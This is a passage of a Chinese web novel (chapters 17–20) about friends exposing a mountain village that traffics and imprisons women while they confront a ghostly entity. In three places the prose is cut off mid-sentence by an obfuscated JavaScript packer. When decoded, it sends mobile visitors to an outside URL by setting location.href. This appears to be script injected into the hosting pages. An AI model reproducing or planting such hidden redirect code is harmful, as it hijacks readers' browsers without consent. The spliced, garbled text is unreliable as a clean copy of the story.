“我也不知道啊,就是村里人带回来的,刚开始好像还不愿意留在这里,但是也逃不出去,之前跑过一次,被一个嬢嬢给关起来了。现在疯了也就放出来了,村里好像还有两个跟她一样的,不过平常好像被关着不让出门。”陶遂说这话的时候好似在说“不知道今天晚上吃什么”一样,反正他不会遭遇这样的事情,虽然说完后又立刻换了个表情表示这种事情实在是太不人道。 陶媛只是在粗浅的得知这样的事情后就受不了要与家里断绝关系,而陶遂居然还能心安理得的去做帮凶。 或许是因为陶遂性别的原因吧,郁峤想,但细想又不对,同样作为女性的姑姑以及其他知情的女性也依旧在做着帮凶……这样一看似乎这些女人才更加可恶?但其实这些人的行为并没有什么区别,性别只是客观事实而已,并不能去加重或减轻作恶者的罪行。 郁峤心里几乎是要乱成一锅粥了。 “你们这里有什么比较有说法的地方吗?”方容时问,郁峤也看向陶遂。 之前陶媛说过,他们村子里有一处溶洞,大人们都不让靠近那里,但陶媛却看见过有人走进去过,然后平平安安出来了,不过也有例外,比如之前陶媛就亲眼目睹一个疯疯癫癫的女人走进去后再也没有出来。 “有说法的地方还蛮多的。”陶遂想了想,“祠堂就是一个,还有就是村后的那片坟地据说也是闹鬼胜地,再还有村里的一座规模很大的老宅子,还有一个在村子下面一点的地方,有个溶洞,大人们总说里面有神仙,要是靠近就会触怒神灵,会肚子疼发烧什么的,管的还很严,所以我也没敢靠近。” “真的会肚子疼吗?”郁峤问。 “不知道啊,反正爸妈棍子打得挺疼。”陶遂回忆起了什么,面露难色,“就那一次,甚至都没靠近,就记得洞口有个小屋子,里面住着个老爷爷,专门打小报告。” 真是完整的童年,郁峤撇撇嘴。话说陶媛也是个很生猛的姑娘,在大人的‘把守’下居然还能靠近并“窃取”到情报,也是一奇女子。 此行目的是为了破解这该死的封建恶习消灭那玩意的本体,还有……郁峤看着一处的小路,要让村子里的“疯女人”离开这里,就算最后无法再恢复神志,也该体面干净的生活,在亲朋好友在爱她们的人身边生活。而这些人,等待他们的将是法律的铁拳与手铐。 17. 第17章山间一晚 放好东西后,三人便前往溶洞准备一探究竟,因为只有一条已经几乎找不见的小路可以走,三人只好步行过去。 “其实具体位置我已经不清楚了。”在一堆树木灌木里,陶遂凄然地坦白。 郁峤扭头去看拿着风水盘的方容时,只见对方也摇了摇头。 “它不想让我们找到它,会干扰记忆与磁场,也就是所谓的鬼打墙。”方容时手里捧着一个风水盘,上面的指针摇摆不定,指不出明确方向,于是便将其收了起来。 虽然是白天,但山上的树木茂盛得很,宽大茂密的树冠将大部分的阳光隔绝在了外面,让郁峤感觉到了一股强大的压迫感,好似在树林里有什么东西正盯着自己。 “那我们现在回去吗?”郁峤下意识往方容时身边靠里靠,这时手机接到一通电话,是陶媛打来的。 一般情况下遇到鬼打墙什么的不应该连信号也没有吗?郁峤眨了眨眼睛。 “喂。”郁峤接通电话打开免提。 “喂喂,我到家啦!”陶媛的声音从手机里传出,声音响亮,让人耳朵都疼通透了,“你们在哪里啊?” “我们在……”我们在哪里啊?郁峤看着四周的树木杂草,一时间无从开口,“我们在山里?” “我们准备回去了。”方容时回答。 三人原路返回时却格外顺利,方容时在前面带路,郁峤紧随其后,陶遂走在末尾。 在看见自己女儿出现在眼前时姑姑的表情似乎有些挂不住了。 “你怎么回来了?”姑姑语气里带着质问。 “怎么,我不能回来?”陶媛大惊小怪地嗷了一声,“我是什么很奇怪的东西吗?端午节是要被拒之门外的?” 陶媛一阵大呼小叫叫得人头疼,姑姑只好让她先把东西收拾好再出来丢人显眼。 不希望被女儿发现自己正准备做坏事吗?郁峤观察着姑姑的脸色。 既然陶媛回来了,那么这顿“宴客餐”就必不可少了陶媛同志。 晚餐很丰盛,都是一些平常不会吃到的特色菜,色香味俱全,很有农村风味,还准备了饮料,给座了好几个小时车没正经吃过饭的几位看得饥肠辘辘,但却都拿着筷子犹豫着。 郁峤忍不住想到那杯加了料的饮料,到现在还心有余悸。 陶媛看着盘子与锅里的菜观察着其他人的动作,锁定了自己想吃的东西,准备等其他人有动作后一击拿下。 方容时拿起筷子后又放下,然后拿起手机拍了几张照片,夸赞了一下姑姑的手艺。 陶遂已经很想动筷了,但见其他人没动他也不敢动。 “诶呀,怎么了?快动筷子呀!”姑姑热情招呼着大家夹菜,自己但做表率地夹起一块腊肉塞进嘴里,“虽然我煮的可能不是特别好,但是这个腊肉本身就很好吃啊!” 众人闻声而动,纷纷动了筷子。 既然厨子都吃了,那么就说明没什么问题了吧? “诶,还有这个,自家酿的果酒。”姑姑举起一个小铁壶,在每个人的小杯子里都倒了一点,“酒精浓度很低的,大家尝尝。” 陶媛不觉有什么,直接就一口闷了。 方容时礼貌性地喝了一小口。 轮到郁峤时,郁峤实在不想喝这个东西,但是自己现在的状态应该是不会拒绝的才对。 “快喝呀。”姑姑催促着。 “陶遂,你不是说郁峤酒精过敏吗?”方容时看向陶遂,脸部肌肉呈现的是笑容,但眼里却丝毫没有笑意。 “啊,对!”陶遂心领神会,立马夺过了郁峤手里的酒杯,“她酒精过敏特别严重,不能喝!” “这样啊。”姑姑狐疑地注视着陶遂,“不过这酒读书不高,就一点点,不要紧吧?” “诶呀。”陶遂旁若无人地朝姑姑挤眉弄眼了几下,其他人全装做没注意,“一点点都不行,会出人命的。” “好吧。”姑姑一阵思索后迟疑后放弃了。 “对了,郁峤她住哪里啊?”陶媛问, “哦,她住新房子。”姑姑有些心虚,没去看自己女儿。 “新房子?”陶媛眉毛一挑,“我们家什么时候盖的新房子?” “就前段时间,只不过我们还没有正式搬过去。你不在家里,不知道。”姑姑夹了些菜塞到陶媛碗里,“吃饭那么多话说!” 陶媛看了一眼郁峤又看了一眼方容时,挤挤眼睛。 吃完饭后几人又在院子里坐了一会儿,四个人四张椅子,谁也没搭理谁,集体对着夜空发呆。 今天白天还是晴天,但到了晚上却突然挂起了风,吹得树梢沙沙作响,风闯堂而过还带着一股呜呜的呜咽声,更是让人浑身发麻。 “好困,我先回去睡觉了。”陶媛第一个离开,看样子是真的困了,连手机落在椅子上了都不知道。 “我们也回去吧,今天一天也挺累的。”方容时也起身,于是剩下的三人也离开了。 村里虽然有路灯,但年久失修,有些要么半死不活的亮着,有些直接就罢工不干了,三人只能靠姑姑家的手电跟自己的手机照明,还有别人家从窗外里透出来的光,慢悠悠地走着。 郁峤住在最上方,离真正的姑姑家有一段距离,这段路也是最黑的,因为越往上住得人越少,路灯也没有必要存在了。 前方漆黑一片,手电的灯光根本无法将前面全部照亮,山林里有各种小动物的声音,村里不知道什么地方时不时会传来几声狗吠,还有什么东西飞过天空扑扇翅膀的声音,好似就在头顶,生怕下一秒就有什么毛茸茸的东西撞上自己。 而且这里还是那东西的地盘,之前住在千里之外尚且在骚扰她,现在到了家门口,说不定还会出现什么更恐怖的事情。郁峤都不敢去细想。 “郁峤。”一个不知道具体从哪里传来的声音,飘飘忽忽,好似没有实感。 郁峤像是被定了一下,跟不受控制一样,下意识就想回头去找声音来源,却被方容时挡在身后,“别回头。” 好险,郁峤瞬间提气了一口气,吓出一身冷汗。 “给你。”路上,方容时将一个东西塞进郁峤手里,一摸,好像是一根约莫二十多厘米长的棍子,上面还刻着些字,“拷鬼棒,护身用。” “嗯。”郁峤将拷鬼棒紧握住,手心里是一层冷汗。 将郁峤送回房间,方容时将房间里里外外又检查了一圈后,在窗户跟门上贴了两张符纸,又等郁峤洗完澡后才准备离开。 “今天晚上不要害怕,不管听见什么都不要出门。”方容时离开前叮嘱到,“要是害怕就跟我们打电话。” “好,路上注意安全。”郁峤有些不舍地看着方容时离开。 门一关上,房间里就只剩她一个人了。 看着空荡荡的陌生房间, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15169748|164151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郁峤的防御机制几乎要全开了,一点小动静都能让郁峤心惊一下,玩手机也没办法好好转移注意力了,小说也看不下去,就在郁峤打算给朋友们打电话时却离奇的断网了,这下彻底的与网络世界告别了。 我睡觉还不行吗!郁峤差点被气到不害怕了,给手机充上电后直接一趟,开着灯闭上眼准备睡觉。 但实在睡不着,闭着眼睛也没办法准确地感觉到时间的流逝,郁峤只知道在自己的脑海里巡演了一场又一场话剧后,自己居然还很清醒。 拿起手机一看已经快到零点了。 看看本地有没有什么好看的。郁峤不死心地打开手机,就在这时楼下传来了一阵窸窸窣窣的声音,郁峤警觉地竖起耳朵仔细聆听。 好像是什么东西穿过草丛,就在楼下很近的地方,应该是小狗或者小猫?郁峤尽量去往这些方面想。 可惜事与愿违,郁峤很快就听见了一阵来自楼下大门的敲门声,在敲了一阵后就放弃了,然后又是有人移动的声音,郁峤听着声音大致上能猜到这个人在围着这栋房子绕圈。 什么东西?郁峤心里又害怕又好奇,但害怕跟理智还是沾了上风,她老老实实躺在床上,捧着手机。 几分钟后,外面的声音停止了,好像全世界都安静了几秒。就在郁峤都已经逐渐接受了这份宁静后,一个声音从楼下像是蛇一样爬了上来,钻进了她的脑子里。 “快跑~”是一个女人的声音,好像是想要与她说悄悄话,但奈何两人距离太远,“悄悄话”也变大声起来,“快跑~谁让你来的?再不跑就来不及了!跑啊……跑啊……不,别跑,救救我!救救我!我想回家呜呜呜呜呜呜……我想回家,救救我们,救救我们!” 女人的声音逐渐变得大声,从小心翼翼变成了号啕大哭,一边喊着一边拍打着墙壁,声音凄厉,让人心惊肉跳。 一个个字跟镐子一样一下一下地凿在郁峤心里,害怕、心疼与恐惧被放进了一个大锅里熬煮搅拌,最后变得不分你我,复杂苦涩。 “啊啊啊啊啊啊!别过来!啊啊啊啊啊……”突然,女人像是看见了什么,突然尖叫起来,哀嚎着跑远了。 什么别过来!?郁峤像只警觉的兔子,竖起耳朵保持着刚才的姿势一动不动,注意着外面的动静。 “郁峤。”又是一个声音,但这次去不是在楼下,而是在房门外。 这间房子的门不如郁峤住所的防盗门那样厚实牢固,就是很普通的木板门,连锁都是老式的滑-动门锁,门上还有一小窗子,可谓是安全隐患拉满。 “郁峤。”又是一声,“郁峤……”每叫一声声音都会有些变化,变得扭曲奇怪。 “郁峤,你在里面吗?”一声清脆的女声响起,郁峤为之一惊,这分明是路清的声音。 路清根本没有上山,假冒得太不走心了。郁峤不为所动。 “郁峤?郁峤!你在里面吗?”那东西声音逐渐变得急迫起来,好似真的很担心她,“快跑呀!离开这个房间,房间里有东西!” “郁峤!郁峤!开门啊!”声音又变成了岑骅,但无论那东西怎么扯着嗓子大喊,却没做出敲门的举动。 “郁峤,快离开这间房间,那东西就要进来了!”方容时的声音突然出现,像一记重拳狠狠砸在郁峤的心上。 就在这时,郁峤听见了身后窗户发出的声音,下一秒,窗户被刷地拉开了。 18. 第18章被困住的人 “郁峤!”方容时的声音在身后响起,与此同时,似有一股看不见的力量将堵在门口的梳妆台猛地推开,那个郁峤推动都费劲的木质家具就这么被“撞”飞了出去,木门也终于不堪重负被撞开了。 木门砰然坠地,但门框上的符纸却还没掉,顽强地在门框上飘动着。 撞门的是那个今早遇到的女人,门被撞开后,女人踮起脚尖,一把将门上的黄纸给撕了下来,然后跟着门一起跌倒在地,相拥而眠了。 门外站着一个高大的身影,身形有些像之前郁峤在公司撞见的那个东西,只不过这次郁峤看得更清楚了一些, 那东西没有大众意义上的脸,只看见一双血红的眼睛,身上看不出穿着什么衣服,只能看出是黑色的,要不是房间内的光线照在衣服上,它几乎就要和黑暗完全融在一起了。 “郁峤。”那个东西的嘴里吐-出的是方容时的声音,一步一步地往门内走来,“快过来,他已经在你后面了,要抓住你了!” “郁峤!”郁峤转身看向窗户,只见方容时正从窗户上跳下来,“别理它。” 郁峤看着方容时向自己走近,又扭头去看门外,然后不假思索地举起从刚才开始就一直没有离手的拷鬼棍朝着门外扔了过去,那一扔用了十足的劲,带着要将那玩意砸得头破血流的决心。 “铛,铛铛。”棍子跌落在地上,原地转了两圈,那个东西消失不见了,郁峤掷了个空。 “你没事吧?” “你怎么来了?” 几乎是同时,两人忍不住询问对方。 “我没事。” “我注意到这个女人跑上来了于是就想着上来看看。”方容时看了一眼躺在地上的女人,“看来它可以操控已经魂魄缺失人类的行为,幸好我跟过来了。” “你是怎么爬上来的?”郁峤好奇。 “外面有根水管,顺着水管上来的。”方容时解释,“现在最重要的是怎么解决这里。”两人看了一眼被撞开的门板跟躺在门板上的女人。 次日,姑姑亲自上来给郁峤送早饭,一上楼就看见陶遂方容时跟郁峤三人坐在床前,疯女人睡在地上跟门板一起。 “今天早上我们两来叫郁峤,没想到这个女的也跟过来了,一靠近屋子就发疯,还把门也给拆了,她力气太大了,我们没拦住。” 陶遂顺溜地背出了今早三人串供的说辞,除了感情不够真挚外还是很可信的。女人的破坏力在村里也算是闻名遐迩,是这么多届疯女人里最会折腾的,这样编倒也不算太夸张。 听说这女人之前是个初中毕业出来打工的,在厂里交了个男朋友,不知道被男朋友用了什么花言巧语骗回来的,也有可能是拐回来的。陶遂听别人说这女的还没疯之前就一直打算跑走,只是总是被抓回来,后面被关进这间屋子后就变疯了,疯了之后放出来被村里的一位老汉带回家,生了两个女儿后就没什么人管她了,只有几个还留在村里的年轻人给她提供饭菜,维持着她基本的生命体征。 但这几位尚且清醒的年轻人也被困于村里人的掌控之中,他们在知道村里的事情后甚至不被允许出门,除非他们愿意像陶遂一样帮助他们。 顺利离开村子的陶媛则是因为暂时还没有暴露出自己已经得知了村里的恶行径,然她也只能被困在这里了。 在陶遂的解释下,姑姑勉强接受了这个说辞,打算等下找人将门锁修好。 “我们打算今天在村里逛逛。”陶遂告诉姑姑他们今天的行程。 “很好啊,你那些叔叔伯伯都去见见,一年到头也回不了几次家的。但是别去东村的那几家家里,”姑姑听闻点了点头,随即又补充到,“那几家的小辈这么大了都还没有出去找工作,说不定就是打算在家里啃老,怕是精神上有什么问题。” “知道了。”陶遂点头答应后就要出门,郁峤紧随其后。 “诶。”姑姑一把拦下了郁峤,举起了一碗豆浆,“你还没吃早饭呢,喝点豆浆吧,新鲜榨的。” “不了,我不喜欢喝豆浆。”前天“喝下”的药剂药效已经过了,郁峤现在正是清醒的时候。 “喝一点嘛!”姑姑强硬地将碗塞在郁峤手上,“辛辛苦苦熬的,就当给我个面子。” 一时间郁峤以为自己手里捧着的不是豆浆而是白酒。 “不喝,我早上吃不下东西!”郁峤毫不留情面地将碗放在一旁的梳妆台上,快步离开了,头也不回。 “现在我们去哪里?”郁峤问,她出来后又看了看四周,发现少了个人,“陶媛呢?” “估计是昨天酒喝多了,还没有醒吧。”方容时回答。 “陶媛?”陶遂迷茫地看着两人,几秒钟后恍然大悟,举起手指着两人,支支吾吾了半晌也没挤出一个屁来,“你,你,你们!?” “嗯哼。”郁峤挑眉,莫名有种爽感,“我们认识,而且是一伙的。” “而且现在,我们也是一伙的。”方容时也跟着笑着看着他。 “啊?”陶遂风中凌乱,觉得自己也是中了大奖了。 长在河边走,哪有不湿鞋?在坑蒙拐骗残害了那么多女性后,总算是碰上硬茬了。 “刚才姑姑不是说了有几家不让去吗?”郁峤提议,“我们就偏要去看看。” 在陶遂口中,那几位年轻人因为出现过试图报警的举动,于是被村民格外关注,几乎是处于软禁的状态,被困在村里,不能下山,除了电视外不能接触任何可以联网的电子产品,要不是因为他们的父母也是村民,他们可能就葬于青山了。 其中被关得最久的已经被关了五年,还有一位是今年才毕业的大学生,因为对村里的事情表示过反对也被圈养了起来。 陶遂作为年轻人,在老一辈眼里那是听话又有出息,不仅上了大学在城里找了个体面的工作,还听长辈的话,又能帮长辈解决问题,简直就是年轻人的榜样,年轻人中的标兵。 所以当陶遂带着郁峤他们两个来拜访时,年轻人的家里人是很欢迎的。 “你就跟他们说说山外面有多漂亮,是不是有很多小车,还有高楼大厦,还有什么肯德基,游乐场……”一个中年男人拉着陶遂,“就讲讲你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15177783|164151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在外面的生活,告诉他外面有多好,让他听话一点,听话一点就放他出去啦!” 那个年轻的男孩坐在沙发上,冷眼旁观着这狼狈为奸的两个人,但当目光转移到站在门外的郁峤两人身上时,眼神微微一动,像是被触动了什么。 “这样,你不是也带了朋友来吗?你们三个带着他出去走走好好聊聊。” “好好好,知道了。”陶遂连连点头,看向男孩,“陶慷,要一起出来走走吗?” 陶慷看了看陶遂跟父亲,又看了看郁峤他们,缓缓站起身来,走出了法大门。 “你好呀。”郁峤率先上前打了声招呼,“我叫郁峤。” “蠢货。”陶慷用近乎微不可闻的声音回复了一句,但还被郁峤敏锐地捕捉到了。 “这是什么意思?”郁峤也不生气,笑着问。 三人顺着小路走着,也不知道下一个目的地是哪里。 陶慷不再说话了,只是低头走路,并且故意离陶遂很远,或者说离所有人都很远。 “我们知道村里的那件事情。”郁峤提刀直入。 陶慷诧异地抬头看向她,然后下意识地又转头看向陶遂,只见陶遂一脸无辜地看着他然后移动目光不再看他。 “我们是来帮助你们的。”方容时点点头,“陶遂说你们是因为知道了什么事情才被关起来的,对吧?” 陶慷点点头,刚才还有些呆滞的眼神里此时闪耀着一股亮光,仿佛整个人都鲜活了起来。 “你具体知道些什么?”方容时问,他声音温柔态度亲和,让人不自觉就信任,“你告诉我们,我们一起解决好吗?陶慷,你叫陶慷对吧?能回答我吗?” 郁峤心领神会。 “对,我叫,陶慷。”陶慷点头答应,因为常年被压抑着甚至自己都不愿去回忆,一下子要将事情全部讲述出来不免有些费力。 “不着急,我们一边走一边说。”方容时安抚道。 一个上午,三人便将那几个年轻人都走访了一遍,其中有个女性因为父母去世得早,自己最近两年表现良好,所以是一个人住着,见到郁峤一行人后想饿了三天三夜终于看见饭菜的饿殍,拉着郁峤就是一顿输出。 “好久没有跟人这么痛快地聊过天了!”陶苑长舒一口气,觉得压-在自己心上的一座大山稍微轻了不少,“你们是打算去报警吗?” “当然,我们来收集证据就是为了不打草惊蛇,等收集到有力证据后再找警方一举拿下贼窝,还你们自由。”郁峤认真地注视着陶苑的眼睛。 “我的自由固然重要,但最主要的还是献祭的事情,希望这件事情解决后就不会再出现献祭的事情了。”陶苑眼神黯淡下来,“一想到我的父母也参与过这种事情,我就觉得我自己或许根本不配得到什么拯救,被关在这里或许也是一种赎罪。” 郁峤语塞,沉默半晌,撇过头与方容时对视一眼。 “既然这样想,那就努力帮助我们也帮助你们自己,将那些女性一起解救出来吧。”方容时看着陶苑,声音温柔坚定。 “嗯!” 19. 第19章消失 走访完这几位后,时间也来到了中午,姑姑已经打了两通电话催三人回家吃饭了。 郁峤与方容时将刚才的录音发进了群里,提醒大家及时保存保留证据,以免出现意外。 “你们居然没叫我!”陶媛愤愤然,“太可恶了!” “你昨天喝太多了,怕打扰你休息就没叫醒你。”郁峤连发两个道歉表情包。 “快回来吧,要吃饭了。”陶媛哼哼,“对了,我怀疑我妈在饮料里加了东西,因为一般情况下我是不可能喝醉的,这个酒的度数很低。” 对于这件事情郁峤不置可否。 根据今天早上打探到的情报,溶洞里约摸是村里人抛-尸与祭拜神明的地方,很有可能那东西的本体就放在那个里面,所以几人打算再去一次,这次带上了陶媛,并且准备了齐全的装备。 端午假期就三天,算上郁峤与方容时申请来了一天调休,他们没多少时间能耗在这里。 陶媛表示自己也是。 一时间不知道是鬼更可怕还是返工更可怕。 “知道你们为什么昨天没有找到吗?就是因为少了我!”陶媛戴着手套拿着镰刀在前面开路,几人没走多久就看见溶洞口了。 此时身边看不见种了花生的田地了,只有无穷无尽的杂草与高大的树木,各种平常见不到的昆虫与鸟在山林里生活着,在看见身上粘着地苍耳时众人终于反应过来自己已经走进深山了。 “你身上指定有什么说法。”这次仅用十几分钟就走到了溶洞口,昨天兜兜转转快一个小时也没找到。 “你们走错路了吧?”陶媛不以为然,“我记性一向很好的。” 溶洞附近有一间简单的房子,一层,一窗户一扇门,没了,窗户还是那种老式的格子窗户,上面的玻璃都碎了几块,牵牛花几乎要将半个房子给盘踞满了,蓝紫色的花朵开得极其艳丽漂亮,看得出来已经很久没有住人了。 “之前这个里面住着个白胡子的老爷爷,长得可凶了!从来不让我们靠近。”陶媛探头探脑地从窗户外往里面看,确定里面没人后松了一口气,“不过在我上高中的时候就去世了。” 溶洞里蜿蜒出来一条狭窄的小溪,伸手一摸寒冷刺骨,洞口也不算大,也就容纳两人,往里一看,除了一条特别狭窄的小路就是深不见底近乎墨色的寒潭水。 单是站在外围就能很清楚感觉到一股刺骨的寒意,不仅仅是在肉-体上,还有精神上,从头发丝凉到了脚底板,让人从心里就冒出一股畏惧与危险感。 郁峤深吸一口气,从包里掏出手电筒跟绳子,准备进入溶洞,将手电固定在自己手上,将绳子绑在自己腰上。她今天穿着的是便于运动的登山靴与工装裤,上衣是一件简单的白色T恤,显得干练又飒气。 “我走前面。”方容时接过绳子的另一头,将自己也绑了起来,从包里掏出刚刚郁峤因为热脱下的外套,递给她,“里面冷,穿上吧。” “我望风!”陶遂举手领了任务后跑开了。 “我在外守着。”陶媛点了点头。 溶洞除了洞口的光源外就再无其他光源了,人的身体又正好挡在光前,于是没走几步就需要开手电筒照明了。 方容时打开手机视频通话,将手机固定在肩前。 洞壁湿乎乎的,空气潮湿阴冷,像是开了加湿器的空调房,还夹带着一股野水会带着的腥臭味,让人从嗅觉上也觉得异常不适。 “哇塞,你们小心一点哦。”路清看着方容时这边的直播,又是担心又是好奇。 现场的两人没有讲话,全神贯注的注意着脚下的路跟前方的情况,路清买的这个手电在测试时真是利器,照明效果确实很好,但这个洞穴里的黑暗似乎会吞噬光亮,不管郁峤这么调试,手电筒也只能照明前方五米的位置,再远就会被黑暗吞没得一干二净。 贴着墙壁大概走了五十米后,道路豁然开朗,从蜿蜒小路变成了“康庄大道”。 还没来得及松口气,看清地上有什么东西后郁峤差点将心脏给吐-出来。 大概一米五宽的过道里,有两具尸体,头朝着洞穴深处,姿势各异,不知道死了多久,已经白骨化了,身上的衣物也脆化了,似乎风一吹就会变成一把随风飘走的灰尘。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15177784|164151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “咚。”手机响了一声,无信号自动挂断了视频通话。 “怎么了?”郁峤问,她声音颤-抖得厉害,此时就想找点别的什么能让自己打打气,但又被自己声音的回响吓到,只敢小声说话。 “没信号。”方容时将手机收好,也配合郁峤放低音量。 方容时伸手轻拂那两具尸骨的头骨,缓缓吐-出一口气,随后郁峤遍在这个原本没有一丝风吹的洞窟里感觉到了一股让人舒服的风轻轻拂过,将那具尸骨上的灰尘给吹净了。 对于下一具尸骨方容时也是同样的操作。 郁峤在一旁看着方容时做的动作,等方容时起身时忍不住将自己这段时间的疑问抛了出来。 “虽然时间地点不太对,但是,”郁峤看着方容时,“你到底是什么人啊?” “一位受过高等教育的三好青年。”方容时打趣,继续往前走了几步,随后又正经回答到,“从生理意义上来说我就是个健康的普通人罢了。” “那从精神层面来说呢?”郁峤接着他的话,问。 方容时没有立刻回答,笑着沉默着,像是在思考,几秒后道:“一位年轻的老人。” “这么哲学吗?”郁峤笑了。 “抽象吧。”方容时回头看了郁峤一眼,随后严肃道,“不用再往前了,这里没有,我们出去吧。你走前面。” “好。”郁峤不作怀疑,转身往回走。 回去的路要比进来的速度更快,郁峤不敢回头,只靠脚步声确定方容时就在身后。 快走到洞口时,郁峤听见外面似乎有喧哗声,快步往外走去,只见外面天色已经暗下来了,明明才进来没有多久。 “在里面!”外面有人喊着。 被发现了?!郁峤一怔,脚下似乎有些发飘,但还是走了出来,看见围在溶洞外面的村民跟黄昏的天空。 郁峤看向陶媛,她站在人群里,担心地看着她,像要冲出来,却被陶遂紧紧压住。 然后郁峤又在两人眼里看见了惊恐,她回头望去,发现方容时没有跟着出来。 方容时不见了。 20. 第20章山间 郁峤再次被关进了那间房间,这次她身上包括手机在内的其他一切准备的东西都被强行收缴走了,甚至还派了四个村民守在楼下以免郁峤逃跑。 郁峤刚出溶洞就被一群村民追着质问方容时的下落,好几个村民直接进了溶洞寻找也没找到人影,好像这个人就这样突然消失不见了。 因为没找到方容时,所以整座村庄都不得安生,挨家挨户上上下下地找这个突然消失不见的外地人。 陶媛被陶遂给拉走了,避免了陶媛与郁峤“相认”,也算是难得做了一件人事。 太阳彻底落下了山,天色也越来越暗,房间里的电灯也打不开,应该是被断了电。 路清在发现联系不上自己后会第一时间报警,而且还有陶媛在外面可以传递消息,等警察一来就没什么可怕的来,所以这方面郁峤并不算慌张,现在让她感到恐惧的是夜晚降临后万一那个东西再次找上来,她要如何应对呢?毕竟警察也没办法解决怪力乱神的事情,她现在身上就只有最开始方叔叔送的那枚护身符,其余的法器工具全被收缴了。 昨天晚上的情况幸亏方容时及时出现,但今天,方容时还会出现吗?郁峤感觉到自己的心在往下沉。 方容时去哪里了呢?根据那些村民所说,这个溶洞岔路虽多,但就一个出口,一群村民进去搜索居然都没有找到,好像一个大活人就这么凭空消失在里面了。 郁峤清楚方容时身上的一些不合理的地方,在她说自己家里有人后方容时就表现出了很大的不同,好像什么事情都清楚,还表现出了什么说不清道不明的力量。 虽然很不愿意瞎想,但方容时要么就是从小学习道法是个学有所成的道士,要么就是什么东西化作的人形在人类社会打工体验生活,要么……郁峤用力搓了一把脸,看着眼前昏暗的房间。 不能坐以待毙。郁峤给自己鼓鼓劲,从床上站起来,走到窗户前往下看去,方容时昨天晚上可以徒手从一楼爬上来,那就说明自己也有机会从二楼溜下去。 果然有一根碗口大的出水管离窗户不远,还有一楼延伸出来的窗檐可以成为缓冲平台,目测一下自己应该可以成功落地,而且这是在房子背面,后面就是山林,黑灯瞎火的往里面一钻,应该很难被抓到吧? 作为一个平常工作就是在办公室打字的人来说,爬山就是所能接受的最剧烈的运动了,而今天,她将挑战自我! 就在郁峤计量着自己要如何抱着水管滑下去时,一束手电光照了过来,随后一句这边的方言大声呵斥着,郁峤没听太明白,但也知道那是在叫她把头缩回去,于是只好退了回去。 郁峤有底气可以顺利落地,但没有底气在落地后还能跑得过这群自小就生活在山里的人。 现在几点了?因为没有手机,在一片黑暗里郁峤没办法得知准确的时间,觉得无比的煎熬,而且今天晚上还没有吃过晚饭,肚子也很配合地发出肠胃蠕动的声音。 期间郁峤尝试了好几次逃跑,但都被发现了,几次下来郁峤的恐惧心理几乎都要被磨没了,现在坐在这里的是一名叫郁峤的又累又饿怨气还大的女鬼。 就在郁峤已经又困又饿有点精神恍惚的时候,楼下传来了一阵骚动,郁峤听见有一个女生的声音,焦急地喊着什么,然后就是一阵远离的脚步声。 发生什么了?郁峤挣-扎着从床上站起来来到窗前查看下面的情况,这时她发现窗户下站着一个身影,穿着与黑夜几乎融为一体的黑衣服,咋看还以为就一只头跟两根胳膊飘在半空中,怪吓人的。 那人鬼鬼祟祟蹑手蹑脚地来到窗下,然后抬头。 是陶媛! 陶媛见郁峤也站在窗户前眼睛一亮,然后朝她招了招手,示意她跳下来,然后又左右看了几眼,确定安全后又比划了个“OK”的手势。 一鼓作气!既然陶媛都来了,郁峤也没什么好犹豫的了,检查一下鞋带,将衣服扎进裤子,一脚踩上窗台,伸长手臂将半截身体探出窗户,抱住水管,然后缩脚攀住水管,紧接着就在一阵发热的摩-擦后郁峤跌落在了房后的土地上,根本来不及利用一楼的窗檐做缓冲。郁峤觉得自己的腿被狠狠震了一下关节差点错位,手与手臂跟大-腿内部被摩-擦得有些火辣辣的疼,但也顾不了那么多了。 郁峤落地的声音引起了守在前屋的人的注意,脚步声正在往这边走来,陶媛见状也不等郁峤缓过来,拉起她就往树林里钻了进去。 原本在外面还能靠着晴天的满月作为光源照明,一窜进树林,密密麻麻的树叶就将月亮遮了个一干二净,黑到郁峤根本不知道前面有什么脚下有什么,就是深一脚浅一脚地往前跑着,各种树枝灌木刮着勾着外面暴露的皮肤,但此时郁峤完全感觉不到痛,因为怕暴露,两人也没有打开手电照明。 在树林里跑了一段路后,陶媛气喘吁吁地停了下来,将一个包递给了郁峤,郁峤这时才发现陶媛还背了个包。 “你的东西,我挑了些你可能用得上的东西给带出来了,还有手机。” 郁峤摸黑捏了捏包,粗略摸出了手机手电还有桃木剑。 “方容时说那东西不在溶洞里。”郁峤喘着粗气,觉得自己的心脏都快要跳出来了,“你觉得它会在哪里?” 